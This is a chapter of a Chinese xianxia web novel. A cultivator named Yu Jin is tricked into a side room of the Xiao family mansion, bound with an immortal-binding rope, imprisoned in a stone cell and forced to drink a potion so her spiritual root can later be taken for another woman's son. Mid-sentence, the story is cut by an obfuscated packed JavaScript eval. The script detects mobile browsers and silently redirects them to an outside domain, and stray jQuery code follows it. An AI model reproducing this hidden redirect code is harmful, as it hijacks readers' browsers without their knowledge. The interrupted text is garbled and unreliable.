一旁的黄城见状,连忙凑上前套近乎:“没想到郁道友与萧家这般相熟?”
“二夫人的儿子是我师兄。”郁瑾简短答道。
黄城一时想不起这二夫人的儿子是哪位,正暗自琢磨,就听叶青瓷笑道:“早前听闻你拜入昆仑合道真人门下,我着实为你高兴。”
几人说着已走到任务交接处。郁瑾诚恳道:“当年多亏青瓷前辈一路护送。”
叶青瓷爽朗一笑:“举手之劳,何足挂齿。”
“你师尊竟是萧家老祖?”黄城这才回想起来。他暗自回想这一路上可有怠慢之处,应当是没做什么出格的事。
郁瑾没有接话,只是静静站在一旁。叶青瓷和苏棠率先上前交割任务。那负责清点的管事见她们队伍少了两人,心下明了,却眼观鼻鼻观心,只当不知。每年采竹季都有修士折在山里,他早已见怪不怪。
只要不问就不是他们萧家的事了。算盘拨动间,管事给她们每人结算了九百五十枚中品灵石。叶青瓷和苏棠不约而同地选了青岚符笔。
轮到郁瑾四人时,他们先是交还了进山令牌,那管事拨着算盘道:“每人九百枚中品灵石。”
正要分发,郁瑾却道:“我那赤岚竹的部分,可否折换成两节赤岚竹节吗?”
管事拨算盘的手一顿,皱眉道:“这不合规...”余光瞥见萧府管事微微颔首,只得改口:“..您是老祖的弟子,自然是可以的。”看了一眼萧府的管事,那管事微不可查地点了点头:“可以。”说着扣下相应灵石,用锦布包好两节赤红的竹节好递上。
众人对此并无异议。毕竟管事说得明白,这是看在她师尊的面子上才破的例。
黄城掂了掂沉甸甸的灵石袋,脸上掩不住喜色,这一年的修炼资源总算有着落了。
郁瑾瞥了他一眼,想起进山前他说“多劳多得”的话,如今却只字不提。郁瑾见黄城将灵石袋小心翼翼地放进已破旧的储物袋。她转念一想,散修修行本就不易,何必计较这些。多几块少几块灵石,于她而言无关紧要。
看程瑞书二人神色如常,想来也是这般作想,故而郁瑾并未多言。
至于实物,郁瑾选了符纸,程瑞书二人选了符笔,而黄城则选了萧氏的符箓套装。
郁瑾收拾妥当,与众人道别。经过这次历险,他们互相交换了传讯符,以便日后联系。
郁瑾就与管事二人御剑离去,后便随管事进了萧府。
一路上穿廊过院,七拐八绕,却与上次去二夫人处的路径截然不同。
“这不是去二夫人院子的路吧?”郁瑾停下脚步问道。
那萧家管事面不改色,恭顺答道:“回禀仙师,二夫人特意交代,要在清净雅处与您叙话。”
正说话间,前方廊下转出一人,正是萧予安。他见到郁瑾,眼睛一亮:“郁师叔?您怎么在府里?前些日子听说您来过,偏巧我那日出门办事去了。”
郁瑾答道:“二夫人邀我叙话呢。”
萧予安略显诧异:“咦?这条路似乎不是通往二夫人院落的。”
管事再次躬身解释:“前方春湘院景致宜人,二夫人特意选在此处叙话。”
萧予安闻言点头:“那处确实清幽雅致,是个说话的好去处。”
郁瑾见萧予安这般说,心中戒备稍减。与萧予安别过后,便随那管事前行。
管事并未将她引至什么院落,而是带到一间偏僻的厢房。郁瑾察觉有异,正欲转身,却冷不防被一根金绳缠住全身。她急运灵力挣扎,却如泥牛入海,动弹不得。
“别费劲了,这是缚仙绳。”大夫人从屏风后转出,身旁跟着萧族长。
“你们要做什么?”郁瑾心头一沉。一个元婴中期,一个金丹初期,自己此刻真如蝼蚁般无力。
那大夫人竟然肆无忌惮地放出神识,粗暴地探入郁瑾体内。那种被生生剖开的感觉让郁瑾羞愤欲绝,却连手指都动弹不得。
“不错。”大夫人收回神识,面露喜色:“不愧是天木灵根,如此粗壮纯净。正适合我儿。”因有萧云澜的守护禁制,她并未发现郁瑾灵根已化形为树。
“你们要夺我灵根?!”郁瑾难以置信,“这乃是禁术!”
大夫人阴郁道:“禁术?我儿本是天木灵根,却被邪修所害,灵根被毁无法修行。如今你的出现,当真是天意。”
“你们就不怕我师尊知晓?”郁瑾强自镇定。
萧族长突然厉声道:“你以为老祖为何收你为徒?他身为萧家的合道真人,难道不该为家族谋划?”
这话如惊雷炸响,震得郁瑾心神俱颤。难道师尊收她为徒是存了这般心思?不待她细想,元婴威压轰然压下,郁瑾只觉如负千钧,连呼吸都变得艰难起来。
郁瑾只觉神识一沉,眼前突然陷入黑暗,彻底昏死过去。
大夫人冷眼扫向管事,寒声道:“按先前谋划行事。城外三十里处的有处别院,多年前我便备下,你速将这丫头送去。”说着抛出一个灰扑扑的麻袋,这是锁灵囊,是一个能装活人的法宝。
“这些年苦心布局,终是等到了今日。”大夫人喃喃自语,眼中闪过一丝狂热,“过几日便将长儿秘密送往别院,此事不容有失。”
“是,属下这就去办!”管事深深一揖,双手接过锁灵囊。
当郁瑾再次恢复意识时,眼前是一片昏暗。她发现自己被关在一间阴冷的石室中,缚仙绳依旧紧紧捆缚着身体,灵力如同被铁水浇铸般凝滞不动。她艰难地环顾四周,一张发霉的木板床,除此之外空无一物。
这前所未有的困境让她一时恍惚。她自幼有善栖爷爷庇护,入昆仑后更得师尊照拂,何曾受过这般折辱?
师尊?若师尊当真要挖她的灵根?她咬着苍白的唇瓣。若真如此,何必假借二夫人之名引她再次入府?既是合道老祖默许之事,当初初入萧府时直接擒拿岂不更方便?
郁瑾的脑海
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296282|179143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中无数的思绪翻涌,她分不清她这是在为师尊开脱,还是要在混乱的逻辑中寻找生机。但无论如何,既然还活着,就绝不能坐以待毙。
郁瑾低头检视全身,发现腰间的储物袋、腕上小青所化的青玉镯,连同那条星云手链都已被取下。唯独贴胸藏着的储物玉佩还在,这枚玉佩内刻隐匿阵纹,便是元婴修士也难察觉。平日里她习惯只把灵石丹药放在储物袋中,这次任务所得的赤岚竹节和地阶法衣也都收在那袋子里。
她咬紧牙关,尝试着弓起身子。虽然灵力被封,但肉身气力尚存。可是这缚仙绳质地却坚韧无比,深深勒进郁瑾的皮肉,手腕和脚踝处已经被磨出数道血痕,渗出丝丝血迹。
“哼!别白费力气了!”一声女声突然响起。铁门锁链发出刺耳的哗啦声,只见那管事恭敬地将门打开。此刻的大夫人端着一碗黑漆漆的药汤走了进来,面容却有些阴郁苍白,哪还有初见时那端庄大气的族长夫人模样?
郁瑾心中冷笑:人果然最擅伪装。
大夫人居高临下,步步逼近,同时释放出金丹的威压。郁瑾顿时胸口闷痛难当,连呼吸都变得困难。她死死咬住下唇,直到尝到血腥味也不肯发出一声痛呼。
“你可知道,你不过是一只蝼蚁?”大夫人面色阴冷,一把掐住郁瑾的下巴,强迫她抬起头来,“无父无母的野种,谁会来救你?”
她粗暴地掰开郁瑾的嘴,将那碗漆黑的药汤直接灌了下去。郁瑾只觉喉间火辣辣的疼,身子却动弹不得,当真是那砧板上的鱼,任人宰割。
“你...给我喝的...是什么?”郁瑾艰难地喘息着,额间渗出密密的汗珠,手指死死地攥紧衣角。
大夫人冷笑一声:“告诉你也无妨。这是我亲手熬制的锁灵汤,用的可都是上等的天地灵物。南蛮的千年血灵芝、北境的玄冰玉髓,还有荒域采来的蚀骨幽兰。我花了九九八十一个时辰才熬成这碗汤。”
她俯下身,那保养得宜的纤纤玉手划过郁瑾的丹田:“喝下它,你的灵根会慢慢与肉身分离。等到七七四十九日后,我们就能剖开你的丹田,取出那株天木灵根...到时候,它就是我长儿的了。”
“夺他人灵根乃是逆天之行!”郁瑾咬牙道,“施术者必遭天谴!”
“那又如何?只要我儿能踏上仙途,不做那下贱的凡人...看着他结丹、成婴,乃至化神...我就是魂飞魄散也心甘情愿!”大夫人眼中闪过一丝疯狂,“为了集齐这些灵药,我不知耗费了多少心血...老天待我不薄,终于让我等到了你!”
郁瑾听了嗤笑道:“你就做梦吧!”
“啪!”一声脆响,郁瑾的脸颊生生地挨了一记重重的耳光。原本白皙的脸上顿时浮现出五道鲜红的指痕。
大夫人缓缓起身,慢条斯理地整了整衣袖:“好好享受这最后的日子吧。”说完便转身离去,铁门“哐当”一声关上。
门外传来她冰冷的吩咐:“给我看紧了。”